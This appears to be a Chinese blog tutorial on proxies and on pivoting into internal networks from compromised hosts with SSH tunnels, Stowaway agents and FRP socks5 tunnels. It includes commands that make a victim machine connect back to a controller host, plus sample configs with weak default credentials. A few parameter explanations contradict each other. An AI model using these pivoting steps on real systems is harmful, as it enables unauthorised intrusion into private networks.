正向代理和反向代理
在计算机网络领域,代理服务器扮演着至关重要的角色,它在服务器与客户端之间充当中间人的角色,有效地提高系统的安全性、性能和可扩展性 其中正向代理和反向代理是两种最为常见的代理方式
首先,什么是代理服务器呢?代理服务器就是一个位于客户端和目标服务器之间的中间服务器
换句话说:你不会直接访问目标网站,而是委托代理服务器去帮你访问的
代理服务器的分类
类型 | 说明 |
---|---|
正向代理 | 用户 → 代理服务器 → 目标网站。用于访问外网、翻墙、隐藏身份 |
反向代理 | 用户 → 代理服务器 → 内部服务器。用于负载均衡、安全控制 |
透明代理 | 用户无感知,代理服务器悄悄转发请求 |
高匿名代理 | 完全隐藏用户身份,目标服务器看不到真实 IP |
主要来讲讲正向代理和反向代理
正向代理
正向代理是一种位于客户端和服务器之间的代理服务器,客户端将请求发送给正向代理,然后由代理服务器将请求转发给目标服务器。服务器将响应返回给代理服务器,再由代理服务器将响应转发给客户端。正向代理对客户端是透明的,客户端无需知道实际服务器的地址
作用
- 隐藏客户端身份
- 访问控制
- 缓存加速
反向代理
反向代理是一种位于服务器和客户端之间的代理服务器。客户端将请求发送给反向代理,然后由代理服务器根据一定的规则将请求转发给后端服务器。后端服务器将响应返回给代理服务器,再由代理服务器将响应转发给客户端。反向代理对客户端是透明的,客户端无需知道实际服务器的地址,只需将反向代理当作目标服务器一样发送请求就可以
作用
负载均衡
安全性增强:隐藏后端服务器的真实地址和端口,防止DDos攻击等
缓存优化
总结一下
两者有什么区别呢
简单来说就是一句话:
正向代理(Forward Proxy):客户端知道目标服务器,服务器不知道客户端是谁
反向代理(Reverse Proxy):客户端不知道真实服务器是谁,只和代理打交道
正向
[你] → [正向代理] → [Google服务器]
反向
[用户] → [反向代理服务器] → [内部 Web 服务器集群]
注意防火墙的出入规则
正向连接和反向连接
正向连接
所谓正向连接就是攻击机去连接靶机,条件网络没有防火墙拦截
反向连接
反向连接就是靶机主动去连接攻击机,前提是目标机器出网(即目标主机能访问外部网络),同时控制端能监听端口,还要防火墙允许
端口转发和端口映射
端口转发/端口映射是指:把访问某台设备的某个端口的请求,自动转发到局域网内其他设备的某个端口上
举个简单的例子
你家有一台电脑,你运行了一个web服务(在内网 IP:192.168.1.100:8080),你想在公司访问它
但是你电脑在内网,公司访问不到
于是你在路由器上设置端口映射
公网 IP: 1.2.3.4:5000 → 内网 IP: 192.168.1.100:8080
那么公司只要访问
http://1.2.3.4:5000
就等于访问到了你的
http://192.168.1.100:8080
内网搭建
利用SSH命令搭建ssh隧道
单层ssh隧道搭建
首先我画一个图给大家理解一下
攻击机无法直接访问内网的web服务,但是已经控制了一个靶机,所以我们可以借助这个可控的靶机作为跳板,让攻击机可以直接访问到内网的web服务,然后展开内网渗透
ssh -L 8888:内网Web服务IP:80 user@跳板机IP
-L
:本地转发8888
:本地攻击者监听的端口内网Web服务IP:80
:跳板机上可以访问的目标地址user@跳板机IP
:你控制的那台跳板机
实际就是
你的本地 → 跳板机 → 内网Web服务:80
多层SSH隧道搭建
接着来张图
可控服务器我们有两个,一个表层一个深层
典型的三层结构
[攻击者(公网)]
↓ SSH
[跳板机A(第一跳,DMZ区)]
↓ SSH
[跳板机B(第二跳,内网)]
↓ HTTP
[内网Web服务器]
通过多跳SSH打通路径
第一步:
ssh -L 9999:跳板机B:22 user@跳板机A
第二步:
ssh -L 8888:内网Web:80 -p 9999 user@localhost
这样就能访问到最深处的内网服务了
http://localhost:8888
Stowaway搭建内网代理
工具地址:https://github.com/ph4ntonn/Stowaway
用法可以直接看手册
命令看不懂可以自己去研究
反向代理
如果想用Windows作服务器使
.\windows_x64_admin.exe -l 5555 -s 123
靶机上运行
./linux_x64_agent -c 1055482vbac75.vicp.fun:21413 -s 123 --reconnect 8
本地收到
use 0
socks 1234
攻击机 → 多层节点 → 目标主机 的透明访问路径,非常适合深度渗透或内网漫游
命令示例 | 作用 |
---|---|
list | 查看当前已连接的所有节点(显示编号和IP) |
use 0 | 切换控制目标为编号为 0 的节点 |
back | 回到上一级节点控制界面(退出当前 use 的节点) |
说明:Stowaway 使用类似“树状结构”的控制方式,use
切换控制焦点,back
返回
主控端
参数 | 含义 | 示例 |
---|---|---|
-m | 以“主控端”模式运行 | ./stowaway -m -l 9999 |
-l <port> | 指定监听端口 | 监听 9999 端口 |
-s | 使用 TLS 加密通信(可选) | ./stowaway -m -l 9999 -s |
被控端
参数 | 含义 | 示例 |
---|---|---|
-c | 以“被控端”模式运行 | 表示是客户端 |
-t <ip> | 指定主控端的 IP 地址 | -t 1.2.3.4 |
-p <port> | 指定主控端监听的端口 | -p 9999 |
-s | 开启 TLS 加密连接(可选) | -s |
也是分正反向代理去搭建的通信
正向代理
靶机上运行
./linux_x64_agent -l 8888 -s 123
本机运行
.\windows_x64_admin.exe -c 192.xxx.xxx.xxx:8888 -s 123
部分 | 含义 |
---|---|
.\windows_x64_admin.exe | 这是 Stowaway 的 Windows 被控端程序,64 位,具有管理员权限的版本 |
-c | 表示以 Client 模式(被控端) 启动 |
xxx.xxx.xxx.xxx:9999 | 目标控制端的 IP 和端口,表示该客户端将主动连接 192.168.180.95 的 9999 端口(主控监听端口) |
-s 123 | 这里的 -s 是用于设置连接密码/密钥(根据版本不同也可能代表 TLS 开关),123 是密码或密钥 |
多层代理
服务器运行
./linux_x64_admin -l 1234 -s 123
靶机运行
./linux_x64_agent -c 控制端ip:1234 -s 123 --reconnect 8
建立连接后运行
use 0
listen
1
1234
相当于在VPS1建立了一个监听1234端口的连接
然后用VPS2连接VPS1的1234端口
./linux_x64_agent -c VPS1:1234 -s 123 --reconnect 8
use 1
socks 5555
控制端看见新节点node 1加入,这个就是经过VPS1代理的VPS2,选择use 1,socks 5555即可在控制端5555端口建立socks5代理
FRP代理搭建
官方文档:https://gofrp.org/zh-cn/docs/
frp 是什么?
frp 是一款高性能的反向代理应用,专注于内网穿透。它支持多种协议,包括 TCP、UDP、HTTP、HTTPS 等,并且具备 P2P 通信功能。使用 frp,您可以安全、便捷地将内网服务暴露到公网,通过拥有公网 IP 的节点进行中转
FRP工具原理
实现原理
frp主要由客户端(frpc)和服务器(frps)
客户端通常部署在需要穿透的内网服务所在的机器上
而客户端部署在需要穿透的内网服务所在的机器上
内网服务由于没有公网IP,不能被非局域网内的其他用户访问,隐藏用户通过访问服务端的frps,由frp负责根据请求的端口或其它信息连接内网机器,实现内网通信
使用
toml配置版本
公网服务器部署frp
因为frp的插件很多,这里我们用socks5插件,来创建Socks5代理服务
tar -xf frp_0.54.0_linux_amd64.tar.gz
mv frp_0.54.0_linux_amd64 frp
cd frp
修改配置(这个配置具体要看你用的事什么配置形式的,以下给出toml和ini的)
vim frps.toml
#服务绑定的IP与端口
bindAddr = "0.0.0.0"
bindPort = 7000
#web dashboard配置
webServer.addr = "0.0.0.0"
webServer.port = 7500
webServer.user = "admin"
webServer.password = "admin"
#启用prometheus监控指标
enablePrometheus = true
#token权限验证,需与客户端配置一致
auth.method = "token"
auth.token = "123456"
#日志配置
log.to = "/app/frp/logs/frps.log"
log.level = "info"
log.maxDays = 3
接下来创建日志目录
mkdir /app/frp/logs
启动服务(多种启动方式)
#命令行方式启动
./frps -c ./frps.toml
#后台启动
nohup ./frps -c ./frps.toml &> /dev/null &
#使用systemd方式启动
##准备启动文件
vim /etc/systemd/system/frps.service
[Unit]
# 服务名称,可自定义
Description = frp server
After = network.target syslog.target
Wants = network.target
[Service]
Type = simple
# 启动frps的命令,需修改为您的frps的安装路径
ExecStart = /app/frp/frps -c /app/frp/frps.toml
[Install]
WantedBy = multi-user.target
##启动服务
systemctl daemon-reload
systemctl start frps
内网服务器部署frp
上传安装包解压
tar -xf frp_0.54.0_linux_amd64.tar.gz
mv frp_0.54.0_linux_amd64 frp
cd frp
创建日志存储目录
mkdir logs conf.d
修改配置
#注意是frpc.toml文件,服务器是frps.toml
vim frpc.toml
#配置公网服务器上frp服务的IP与端口
serverAddr = "x.x.x.x"
serverPort = 7000
#web dashboard配置
webServer.addr = "0.0.0.0"
webServer.port = 7400
webServer.user = "admin"
webServer.password = "admin"
#日志配置
log.to = "/app/frp/logs/frpc.log"
log.level = "info"
log.maxDays = 3
#token权限验证,需与服务端配置一致
auth.method = "token"
auth.token = "123456"
#代理配置,这里使用引用文件的方式
includes = ["./conf.d/*.toml"]
在这你可以通过修改子配置文件 ,选择想用的代理方式
比如socks5,那就需要修改或添加
./conf.d/socks5.toml
[[proxies]]
name = "socks5_proxy"
type = "tcp"
remotePort = 8886
plugin = "socks5"
plugin_user = "youruser"
plugin_passwd = "yourpass"
#保存以上配置,然后添加代理配置
vim ./conf.d/jenkins.toml
[[proxies]]
name = "jenkins" #名称
type = "tcp" #代理类型
localIP = "127.0.0.1" #本地IP
localPort = 8000 #内网服务监听的端口
remotePort = 8500 #需要在公网服务器上监听的端口
启动服务(多种启动方式)
#命令行方式启动
./frpc -c ./frpc.toml
#后台启动
nohup ./frpc -c ./frpc.toml &> /dev/null &
#使用systemd方式启动
##准备启动文件
vim /etc/systemd/system/frpc.service
[Unit]
# 服务名称,可自定义
Description = frp client
After = network.target syslog.target
Wants = network.target
[Service]
Type = simple
# 启动frpc的命令,需修改为您的frpc的安装路径
ExecStart = /app/frp/frpc -c /app/frp/frpc.toml
[Install]
WantedBy = multi-user.target
##启动服务
systemctl daemon-reload
systemctl start frpc
公网服务器web界面:http://<公网IP>:7500
对应ini版本
frps 只负责转发流量,它不需要也不运行 socks5 逻辑
其中frp作为反向代理工具较为稳定,但是依赖于配置文件,所以容易被溯源到
可用于端口映射或开通socks隧道
我这个是使用socks插件配置代理的ini配置
frps.ini
文件
bindPort = 7000
frpc.ini
文件
[common]
server_addr = xxxx.xxxx.xxxx.xxxx
server_port = 7788
[socks_proxy1]
type = tcp
remote_port =8886
plugin = socks5
加上token更加安全
加token的版本
frps.ini
[common]
bindPort = 7000
# Token 验证
auth.method = token
auth.token = 123456 # 设置一个与客户端一致的 Token
# 可选:启用 Web 管理界面,查看 frp 状态
# webServer.addr = "0.0.0.0"
# webServer.port = 7500
# webServer.user = "admin"
# webServer.password = "admin"
# 日志配置
log_file = ./frps.log
log_level = info
log_max_days = 3
frpc.ini
[common]
server_addr = xxxx.xxxx.xxxx.xxxx # 公网服务器的 IP 地址
server_port = 7000 # 与服务端的端口保持一致
# Token 验证,必须与服务端一致
auth.method = token
auth.token = 123456 # 设置与服务端一致的 Token
# 日志配置
log_file = ./frpc.log
log_level = info
log_max_days = 3
[socks_proxy1]
type = tcp
remote_port = 8886
plugin = socks5
其他搭建代理的方式后面还有更新~~~